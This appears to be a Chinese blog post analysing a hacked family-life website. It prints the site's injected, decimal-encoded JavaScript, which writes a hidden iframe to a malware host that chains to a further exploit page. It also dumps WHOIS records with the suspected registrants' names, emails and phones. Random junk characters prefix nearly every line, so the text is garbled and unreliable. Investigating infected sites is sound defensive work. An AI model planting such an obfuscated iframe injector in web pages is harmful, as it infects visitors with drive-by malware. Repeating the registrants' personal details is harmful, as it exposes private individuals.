首发在我的博客里面，
'?k' 6R$'\ lVT&+r~r http://www.areway.cn/?p=175 x vJ^@w' H
/%}R >W~=]&7{s4 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
J" wKR y {e6 KJ@H6 <script>t=’60,105,102,114,97,109,101,
%# 4 +! 32,115,114,99,61,104,116,116,112,58,47,47,
=BW9/fG 102,114,101,101,46,117,45,117,117,117,46,99,
GWh|FEqUbf 110,47,101,114,114,111,114,46,104,116,109,
9TW8o}k` 32,119,105,100,116,104,61,49,48,48,32,104,
a^/K?lAB8 101,105,103,104,116,61,48,62,60,47,105,102,
$P_x v 114,97,109,101,62′;
~bFdJj 1* t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
=V CQ* p\ok_*b <script>t=’60,105,102,114,97,109,101,32,115,
eEie?# Z/6 114,99,61,104,116,116,112,58,47,47,102,114,
%xh?!s|G( 101,101,46,117,45,117,117,117,46,99,110,47,
\d$Rd")w 101,114,114,111,114,46,104,116,109,32,119,
/sH0x,V 105,100,116,104,61,49,48,48,32,104,101,105,
yjR)Z9t 103,104,116,61,48,62,60,47,105,102,114,97,
kraVL%72 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
%O Fj document.write(t);</script>
tzmETRwG x {vIT- f <html xmlns=”
hqWbp* http://www.w3.org/1999/xhtml $ %;jk “>
Wa{%0inZ <head>
hJ4S3b <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
s/PhXf\MN <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
fT
x4vlI4 <title>首页 - 爱生活家庭网
]
EV`dI k ~RCg. &[ou 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
M0 L-u 转换字符串后的大概内容是（谁点击后果自付）：
7>KQRLw <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
[DL|Ht> tUrNp~ve, 查询玉米u-uuu.cn的详细信息：
?0 m?7{ Domain Name: u-uuu.cn
u<C $'V ROID: 20070901s10001s64972306-cn
h/{8bC@bi Domain Status: ok
Bf+^O)Ns^ Registrant Organization: 王雷
<YSg~T Registrant Name: 王雷
,.q8Xf Administrative Email:
czlovexs@126.com [Q=4P*G}X Sponsoring Registrar: 北京万网志成科技有限公司
m"q/,}DR Name Server:ns.yovole.com
z2ds 8-z Name Server:ns1.yovole.com
pbFYiu+ Registration Date: 2007-09-01 17:54
e-jw ^
Expiration Date: 2008-09-01 17:54
" C&x ,Ic 最后PING了一下地址 都没有什么….
wU.'_SBfB dGa@<hg 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
%/X2 l <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
. 2/,XwIr <script language=”javascript” src=”
!b'IfDp[-! http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ^} tL nF >
wyNC|P;j$g 这个玉米应该有可能是木马作者的：
=}"R5 foafau.info的详细信息：
" W3W:vl ! Access to INFO WHOIS information is provided to assist persons in
&6Ns7w6*z determining the contents of a domain name registration record in the
:K: f^o]s Afilias registry database. The data in this record is provided by
jB` 7T^bU Afilias Limited for informational purposes only, and Afilias does not
a&8l[xe1 guarantee its accuracy. This service is intended only for query-based
q'by;g*m access. You agree that you will use this data only for lawful purposes
([1= > Jw" and that, under no circumstances will you use this data to: (a) allow,
G IK
u enable, or otherwise support the transmission by e-mail, telephone, or
>b 3@>W facsimile of mass unsolicited, commercial advertising or solicitations
\y@ eBW to entities other than the data recipient’s own existing customers; or
(26Bs':M~ (b) enable high volume, automated, electronic processes that send
qih 6me8 C queries or data to the systems of Registry Operator, a Registrar, or
.$UTH@;7 Afilias except as reasonably necessary to register domain names or
4YBf ~Pp modify existing registrations. All rights reserved. Afilias reserves
~.FnpMDY the right to modify these terms at any time. By submitting this query,
j_(?=7Y3g you agree to abide by this policy.
( e 0_RQ Domain ID:D22418703-LRMS
:82?'aR Domain Name:FOAFAU.INFO
\3L$I-]m Created On:20-Nov-2007 16:05:42 UTC
iY}QgB< M Last Updated On:20-Nov-2007 16:05:44 UTC
|^>u<E5 Expiration Date:20-Nov-2008 16:05:42 UTC
Z0{f Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
oy`3r5g Status:CLIENT DELETE PROHIBITED
{a[&#Uv Status:CLIENT RENEW PROHIBITED
?{?Vy9'B Status:CLIENT TRANSFER PROHIBITED
" S ?Km Status:CLIENT UPDATE PROHIBITED
>J9IRAm}sc Status:TRANSFER PROHIBITED
JXlTN[O Registrant ID:GODA-040110615
8
H,_vf Registrant Name:liu hong
2V
4`s' Registrant Organization:
i_|h{JK) Registrant Street1:beijing
*m iONc Registrant Street2:
Pu1GCr( Registrant Street3:
J N-D/s Registrant City:beijing
N&x@_t"" Registrant State/Province:
5
Xk~,%-C Registrant Postal Code:100000
#j\*Lc"Ur: Registrant Country:CN
mf+K{y,L Registrant Phone:+86.860108888777
`CPZPp,l6` Registrant Phone Ext.:
s z;=mMr/Z Registrant FAX:
md.* Registrant FAX Ext.:
hT \p)w Registrant Email:bbbshiji@163.com
z w K g Admin ID:GODA-240110615
~WzMK Admin Name:liu hong
~}epq6L> Admin Organization:
)J{.Cx<E Admin Street1:beijing
GU2]/\W*a Admin Street2:
owP6dtd) Admin Street3:
o]dK^[/* Admin City:beijing
\o0z@Ntq Admin State/Province:
M4R%Gr,L a Admin Postal Code:100000
M0 Lon/% Admin Country:CN
b (g_.1[ Admin Phone:+86.860108888777
Ar\IZ_Q Admin Phone Ext.:
YCtIeq% Admin FAX:
`MN&(!&C* Admin FAX Ext.:
pHq{S;R2G Admin Email:bbbshiji@163.com
@\#'oIc| Billing ID:GODA-340110615
B .{8/.4 Billing Name:liu hong
l_UXrn m/N Billing Organization:
rOs)B 21/ Billing Street1:beijing
Y+|L 3'H Billing Street2:
r !"CH5d T Billing Street3:
U{j5kX Billing City:beijing
;4+qPWwq8W Billing State/Province:
KteZK.+#: Billing Postal Code:100000
L& +% Wd~ Billing Country:CN
1"mnzbf8* Billing Phone:+86.860108888777
AaJ,=eQ Billing Phone Ext.:
%iHyt,0v2 Billing FAX:
[ GcA.AB z Billing FAX Ext.:
u40b?
n.
Billing Email:bbbshiji@163.com
oVKsic? Tech ID:GODA-140110615
]9bh+ Tech Name:liu hong
s@*,r@< Tech Organization:
X; e`y:9 Tech Street1:beijing
CUAg{] Tech Street2:
KfJ c Tech Street3:
l:>qR/|m Tech City:beijing
|;x fe"] Tech State/Province:
(:t Tx>V# Tech Postal Code:100000
~ex~(AWh Tech Country:CN
S-H-tFy\\ Tech Phone:+86.860108888777
S
jC)6mo Tech Phone Ext.:
yHa:?u 6 Tech FAX:
7J #g1 Tech FAX Ext.:
eH"qI2A Tech Email:bbbshiji@163.com
5$ ( b3] Name Server:NS27.DOMAINCONTROL.COM
'f p<FeTg Name Server:NS28.DOMAINCONTROL.COM
p,_6jdz Name Server:
T%N~oa Name Server:
\@iOnRuHn9 Name Server:
[| c@ Yw Name Server:
j]cXLY
Name Server:
t-?KKU8 Name Server:
uIVTs9\ Name Server:
*!wO:< - Name Server:
.3S\Rrv Name Server:
'#pMEVP Name Server:
-(%ar%~Zd Name Server:
mjkw&2 3Vb=6-| 接着下载每个文件里面的代码：
LOyCx/n 一步一步看..
r1^m#!=B 
5bGjO&$l 
J?|K#<% 
yhJA;&}> 
*Bb|N--jI 
0|K/=dh5+ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
